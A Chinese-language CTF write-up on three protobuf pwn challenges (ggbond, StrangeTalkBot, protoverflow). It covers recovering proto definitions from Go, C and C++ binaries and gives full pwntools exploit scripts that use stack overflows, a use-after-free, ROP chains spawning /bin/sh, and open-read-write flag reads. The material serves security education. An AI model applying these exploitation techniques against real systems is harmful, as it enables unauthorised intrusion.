protobuf pwn
準備工作
安裝protobuf編譯器
sudo apt-get install libprotobuf-dev protobuf-compiler
安裝python依賴庫
pip3 install grpcio
pip3 install grpcio-tools googleapis-common-protos
安裝pbtk
git clone https://github.com/marin-m/pbtk
ggbond
來自DubheCTF2024的一道GO protobuf題
提取proto檔案
如果pbtk的圖形化介面打不開,也可以用命令列,切換到pbtk的extractors目錄下,輸入下面命令進行提取
./from_binary.py input_file [output_dir]
得到ggbond.proto
syntax = "proto3";
package GGBond;
option go_package = "./;ggbond";
service GGBondServer {
rpc Handler(Request) returns (Response);
}
message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}
message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}
message WhoamiRequest {
}
message WhoamiResponse {
string message = 2000;
}
message RoleChangeRequest {
uint32 role = 1001;
}
message RoleChangeResponse {
string message = 2001;
}
message RepeaterRequest {
string message = 1002;
}
message RepeaterResponse {
string message = 2002;
}
message ErrorResponse {
string message = 4444;
}
切到.proto檔案的目錄,輸入下面命令
python3 -m grpc_tools.protoc -I . --python_out=. --grpc_python_out=. ggbond.proto
編譯得到py檔案
分析程式邏輯
IDA定位到程式main_main入口
grpc建立服務這裡能看到ptr_main_server,跟進可以發現main__ptr_server_Handler,結合proto檔案可知這個是rpc業務邏輯處理函式,也就是我們主要分析的程式碼
根據逆向可以得到程式的大致邏輯:
程式有三種訊息格式:
- Whoami:列印當前的規則
- RoleChange:更改當前的規則(一共有四種規則,0到3)
- Repeater:傳送資訊 ,但僅在規則3下伺服器才處理收到的資訊
匯入依賴檔案,寫出互動函式
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"
def who():
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
response = stub.Handler(request)
print("Response from Handler:", response)
def Role(ty):
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
response = stub.Handler(request)
print("Response from Handler:", response)
def Rep(data):
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
stub.Handler(request)
接下來我們看規則3下伺服器是如何處理傳送的資訊的
將傳送的資訊base64解碼之後有個棧上的copy,很明顯這裡有溢位,v47指向棧上的變數v73,得到溢位偏移為0xC8
接下來就是常規go題的ret2syscall了
exp指令碼
提供了shell和ORW兩種打法
from pwn import *
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"
def who():
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
response = stub.Handler(request)
print("Response from Handler:", response)
def Role(ty):
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
response = stub.Handler(request)
print("Response from Handler:", response)
def Rep(data):
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
stub.Handler(request)
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./ggbond"
p = process(file)
elf = ELF(file)
#gdb.debug(file, "b *0x7EE028\nb *0x7ED9D9")
Role(3)
rax = 0x00000000004101e6
rdi = 0x0000000000401537
rsi = 0x0000000000422398
rdx = 0x0000000000461bd1
syscall = 0x000000000040452c
# ROPgadget --string "flag\x00" --binary ggbond
flag = 0x00000000007f95ba
buf = elf.bss(0x800)
# system
rop = b'a'*0x68 + b'\x00'*0x60
rop += p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(59) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
# ORW
""" rop = b'a'*0xc8
rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
rop += p64(rax) + p64(0) + p64(rdi) + p64(8) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall) """
p.send('/bin/sh\x00')
try:
Rep(base64.b64encode(rop))
except:
p.interactive()
StrangeTalkBot
一道CISCN2023初賽的C protobuf堆題,我覺得難點更多是在逆向部分(還原proto內容)
還原proto檔案
檢視主函式
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // [rsp+0h] [rbp-10h]
char *v4; // [rsp+8h] [rbp-8h]
sub_1763();
while ( 1 )
{
memset(byte_A060, 0, sizeof(byte_A060));
puts("You can try to have friendly communication with me now: ");
v3 = read(0, byte_A060, 0x400uLL);
v4 = sub_192D(0LL, v3, byte_A060);
if ( !v4 )
break;
sub_155D(*(v4 + 3), *(v4 + 4), *(v4 + 5), *(v4 + 6), *(v4 + 7));
}
sub_1329();
}
迴圈read讀到byte_A060,然後函式sub_192D處理讀入的位元組。跟進可以發現sub_192D就是解析protobuf位元組流的函式,返回對應的C結構體
為了理解protobuf在c是如何工作的,我下載了protobuf-c編譯器以及protobuf-c的git專案(這裡是為了獲得一些關鍵的標頭檔案定義
sudo apt install protobuf-c-compiler
git clone https://github.com/protobuf-c/protobuf-c.git
接著我定義了一個測試proto檔案並編譯得到.h和.c檔案
syntax = "proto2";
message testMessage {
required string name = 1;
required sint64 id = 2;
required bytes buffer = 3;
required uint32 size = 4;
}
test.pb-c.h
/* Generated by the protocol buffer compiler. DO NOT EDIT! */
/* Generated from: test.proto */
#ifndef PROTOBUF_C_test_2eproto__INCLUDED
#define PROTOBUF_C_test_2eproto__INCLUDED
#include <protobuf-c/protobuf-c.h>
PROTOBUF_C__BEGIN_DECLS
#if PROTOBUF_C_VERSION_NUMBER < 1000000
# error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
#elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
# error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
#endif
typedef struct _TestMessage TestMessage;
/* --- enums --- */
/* --- messages --- */
struct _TestMessage
{
ProtobufCMessage base;
char *name;
int64_t id;
ProtobufCBinaryData buffer;
uint32_t size;
};
#define TEST_MESSAGE__INIT \
{ PROTOBUF_C_MESSAGE_INIT (&test_message__descriptor) \
, NULL, 0, {0,NULL}, 0 }
/* TestMessage methods */
void test_message__init
(TestMessage *message);
size_t test_message__get_packed_size
(const TestMessage *message);
size_t test_message__pack
(const TestMessage *message,
uint8_t *out);
size_t test_message__pack_to_buffer
(const TestMessage *message,
ProtobufCBuffer *buffer);
TestMessage *
test_message__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data);
void test_message__free_unpacked
(TestMessage *message,
ProtobufCAllocator *allocator);
/* --- per-message closures --- */
typedef void (*TestMessage_Closure)
(const TestMessage *message,
void *closure_data);
/* --- services --- */
/* --- descriptors --- */
extern const ProtobufCMessageDescriptor test_message__descriptor;
PROTOBUF_C__END_DECLS
#endif /* PROTOBUF_C_test_2eproto__INCLUDED */
test.pb-c.c
/* Generated by the protocol buffer compiler. DO NOT EDIT! */
/* Generated from: test.proto */
/* Do not generate deprecated warnings for self */
#ifndef PROTOBUF_C__NO_DEPRECATED
#define PROTOBUF_C__NO_DEPRECATED
#endif
#include "test.pb-c.h"
void test_message__init
(TestMessage *message)
{
static const TestMessage init_value = TEST_MESSAGE__INIT;
*message = init_value;
}
size_t test_message__get_packed_size
(const TestMessage *message)
{
assert(message->base.descriptor == &test_message__descriptor);
return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
}
size_t test_message__pack
(const TestMessage *message,
uint8_t *out)
{
assert(message->base.descriptor == &test_message__descriptor);
return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
}
size_t test_message__pack_to_buffer
(const TestMessage *message,
ProtobufCBuffer *buffer)
{
assert(message->base.descriptor == &test_message__descriptor);
return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
}
TestMessage *
test_message__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data)
{
return (TestMessage *)
protobuf_c_message_unpack (&test_message__descriptor,
allocator, len, data);
}
void test_message__free_unpacked
(TestMessage *message,
ProtobufCAllocator *allocator)
{
if(!message)
return;
assert(message->base.descriptor == &test_message__descriptor);
protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
}
static const ProtobufCFieldDescriptor test_message__field_descriptors[4] =
{
{
"name",
1,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_STRING,
0, /* quantifier_offset */
offsetof(TestMessage, name),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"id",
2,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_SINT64,
0, /* quantifier_offset */
offsetof(TestMessage, id),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"buffer",
3,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_BYTES,
0, /* quantifier_offset */
offsetof(TestMessage, buffer),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"size",
4,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_UINT32,
0, /* quantifier_offset */
offsetof(TestMessage, size),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
};
static const unsigned test_message__field_indices_by_name[] = {
2, /* field[2] = buffer */
1, /* field[1] = id */
0, /* field[0] = name */
3, /* field[3] = size */
};
static const ProtobufCIntRange test_message__number_ranges[1 + 1] =
{
{ 1, 0 },
{ 0, 4 }
};
const ProtobufCMessageDescriptor test_message__descriptor =
{
PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
"testMessage",
"TestMessage",
"TestMessage",
"",
sizeof(TestMessage),
4,
test_message__field_descriptors,
test_message__field_indices_by_name,
1, test_message__number_ranges,
(ProtobufCMessageInit) test_message__init,
NULL,NULL,NULL /* reserved[123] */
};
生成的程式碼有點冗長,對逆向有幫助的主要在test.pb-c.c檔案裡面,宣告瞭很多靜態全域性變數,例如描述訊息欄位的test_message__field_indices_by_name
陣列以及描述訊息的全域性變數test_message__descriptor
,其中描述訊息的全域性變數第一個成員是常量PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC
= 0x28AAEEF9,用IDA全域性搜尋該常量
很明顯在我們要找的是在資料段的結果,而在該常量上面就是我們需要的訊息欄位描述結構體陣列
現在我們知道描述訊息中單個欄位的結構體叫ProtobufCFieldDescriptor
,從這個結構體中我們能提取到ProtobufCLabel
和ProtobufCType
這兩個重要的列舉型別,下面的程式碼同時也給出了ProtobufCFieldDescriptor
的結構體定義,我們將這三個結構體匯入到IDA中
enum ProtobufCLabel
{
PROTOBUF_C_LABEL_REQUIRED = 0x0, ///< A well-formed message must have exactly one of this field.
PROTOBUF_C_LABEL_OPTIONAL = 0x1, ///< A well-formed message can have zero or one of this field (but not
///< more than one).
PROTOBUF_C_LABEL_REPEATED = 0x2, ///< This field can be repeated any number of times (including zero) in a
///< well-formed message. The order of the repeated values will be
///< preserved.
PROTOBUF_C_LABEL_NONE = 0x3, ///< This field has no label. This is valid only in proto3 and is
///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};
enum ProtobufCType
{
PROTOBUF_C_TYPE_INT32 = 0x0, ///< int32
PROTOBUF_C_TYPE_SINT32 = 0x1, ///< signed int32
PROTOBUF_C_TYPE_SFIXED32 = 0x2, ///< signed int32 (4 bytes)
PROTOBUF_C_TYPE_INT64 = 0x3, ///< int64
PROTOBUF_C_TYPE_SINT64 = 0x4, ///< signed int64
PROTOBUF_C_TYPE_SFIXED64 = 0x5, ///< signed int64 (8 bytes)
PROTOBUF_C_TYPE_UINT32 = 0x6, ///< unsigned int32
PROTOBUF_C_TYPE_FIXED32 = 0x7, ///< unsigned int32 (4 bytes)
PROTOBUF_C_TYPE_UINT64 = 0x8, ///< unsigned int64
PROTOBUF_C_TYPE_FIXED64 = 0x9, ///< unsigned int64 (8 bytes)
PROTOBUF_C_TYPE_FLOAT = 0xA, ///< float
PROTOBUF_C_TYPE_DOUBLE = 0xB, ///< double
PROTOBUF_C_TYPE_BOOL = 0xC, ///< boolean
PROTOBUF_C_TYPE_ENUM = 0xD, ///< enumerated type
PROTOBUF_C_TYPE_STRING = 0xE, ///< UTF-8 or ASCII string
PROTOBUF_C_TYPE_BYTES = 0xF, ///< arbitrary byte sequence
PROTOBUF_C_TYPE_MESSAGE = 0x10, ///< nested message
};
struct ProtobufCFieldDescriptor {
/** Name of the field as given in the .proto file. */
const char *name;
/** Tag value of the field as given in the .proto file. */
uint32_t id;
/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
ProtobufCLabel label;
/** The type of the field. */
ProtobufCType type;
/**
* The offset in bytes of the message's C structure's quantifier field
* (the `has_MEMBER` field for optional members or the `n_MEMBER` field
* for repeated members or the case enum for oneofs).
*/
unsigned quantifier_offset;
/**
* The offset in bytes into the message's C structure for the member
* itself.
*/
unsigned offset;
const void *descriptor; /* for MESSAGE and ENUM types */
/** The default value for this field, if defined. May be NULL. */
const void *default_value;
uint32_t flags;
/** Reserved for future use. */
unsigned reserved_flags;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
然後還原訊息欄位描述結構體陣列
由此可以還原出程式的proto檔案如下
syntax = "proto2";
message Devicemsg {
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}
最後用protoc編譯該proto檔案為py程式碼
可知sub_192D處理後返回的C語言結構體佈局如下
struct _Devicemsg
{
ProtobufCMessage base; //這個在IDA匯入時可以用 unint64_t base[3]; 代替
int64_t actionid;
int64_t msgidx;
int64_t msgsize;
ProtobufCBinaryData msgcontent;
};
struct ProtobufCBinaryData {
size_t len; /**< Number of bytes in the `data` field. */
uint8_t *data; /**< Data bytes. */
};
將該結構體匯入IDA,設定main函式v4的型別為Devicemsg*
分析程式邏輯
看NSS討論區說是2.31-0ubuntu9.9_amd64,glibc all in one沒能找到這個版本,所以用的是2.31-0ubuntu9.15_amd64,雖然版本存在小差異,但思路是差不多的
常規的堆題選單且delete存在UAF
存在這些限制:
- 只能建立 0x21 個堆
- 堆的大小和msgcontent長度不能超過 0xf1
- 程式開啟了沙盒禁用了execve呼叫
因為禁用了execve,所以不能打ogg或者system
利用思路也很清晰:
- 填滿tcache然後再free一個堆到unsorted bin,透過UAF leak出libc
- 寫free_hook利用magic_gadget進行棧遷移
- 打ORW ROP
exp指令碼
from pwn import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./service"
libc = "./libc.so.6"
#cmd = ""
#p = gdb.debug(file, cmd)
p = process(file)
elf = ELF(file)
libc = ELF(libc)
#p = remote("node4.anna.nssctf.cn", 28245)
import message_pb2
def add(i,s,c):
msg = message_pb2.Devicemsg()
msg.actionid = 1
msg.msgidx = i
msg.msgsize = s
msg.msgcontent = c
sa(': \n',msg.SerializeToString())
def free(i):
msg = message_pb2.Devicemsg()
msg.actionid = 4
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = b''
sa(': \n',msg.SerializeToString())
def show(i):
msg = message_pb2.Devicemsg()
msg.actionid = 3
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = b''
sa(': \n',msg.SerializeToString())
def edit(i,c):
msg = message_pb2.Devicemsg()
msg.actionid = 2
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = c
sa(': \n',msg.SerializeToString())
for i in range(8):
add(i,0xf0,b'')
for i in range(8):
free(i)
show(7)
rc(0x50)
libc_base = uu64()-0x1ecbe0
lg("libc_base", libc_base)
show(0)
rc(8)
heap_base = uu64() - 0x10
lg('heap_base',heap_base)
pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_r12_ret = libc_base+0x0000000000119431
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9
payload = p64(libc_base+libc.sym["__free_hook"]) + flat([
libc_base+0x0000000000025b9b,
0,
heap_base+0xad0,
pop_rdi_ret,
heap_base+0xad0,
pop_rsi_ret,
0,
pop_rdx_r12_ret,
0,
0,
pop_rax_ret,
2,
syscall_ret, # open
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base+0xad0,
pop_rdx_r12_ret,
0x30,
0,
pop_rax_ret,
0,
syscall_ret, # read
pop_rdi_ret,
1,
pop_rax_ret,
1,
syscall_ret, # write
])
edit(6, payload)
debug("b *$rebase(0x1561)")
payload = flat({
0x00: 0x67616c662f2e, # ./flag
0x28: libc_base+0x00000000000578c8,
0x48: heap_base+0xfa0
}).ljust(0x50, b'\x00')
add(8, 0xf0, payload)
magic_gadget = libc_base+0x15500A
"""
mov rbp, [rdi+48h]
mov rax, [rbp+18h]
lea r13, [rbp+10h]
mov dword ptr [rbp+10h], 0
mov rdi, r13
call qword ptr [rax+28h]
"""
add(9,0xf0,p64(magic_gadget))
free(8)
inter()
protoverflow
CISCN2024 華中半決賽的題,C++ protobuf題,題目不難溢位點很明顯,可惜當時因為python環境有問題導致沒能寫出來(哭哭
提取protobuf檔案
和GO語言那道一樣直接指令碼提取得到proto檔案
syntax = "proto2";
message protoMessage {
optional string name = 1;
optional string phoneNumber = 2;
required bytes buffer = 3;
required uint32 size = 4;
}
分析程式邏輯
主函式很簡單,先洩露libc然後讀取使用者輸入,再解析protobuf流
之後的處理函式中memcpy存在很明顯的棧溢位,直接打ret2libc即可
exp指令碼
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
import message_pb2
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = './pwn'
p = process([file], env= {"LD_LIBRARY_PATH":"./"})
elf = ELF(file)
libc = ELF(p.libc.path)
# debug('b *$rebase(0x332f)')
ru(b'0x')
libc_base = int(rc(12), 16) - libc.sym['puts']
lg('libc_base', libc_base)
rdi = libc_base + 0x000000000002a3e5
ret = rdi + 1
system, binsh = get_sb()
pl = b'a'*0x218
pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()
sd(serialized_msg)
inter()
參考文章:python基礎--protobuf的使用(一)_protobuf py-CSDN部落格
【Python進階學習】gRPC的基本使用教程_grpc 同一個連結 保持變數引數-CSDN部落格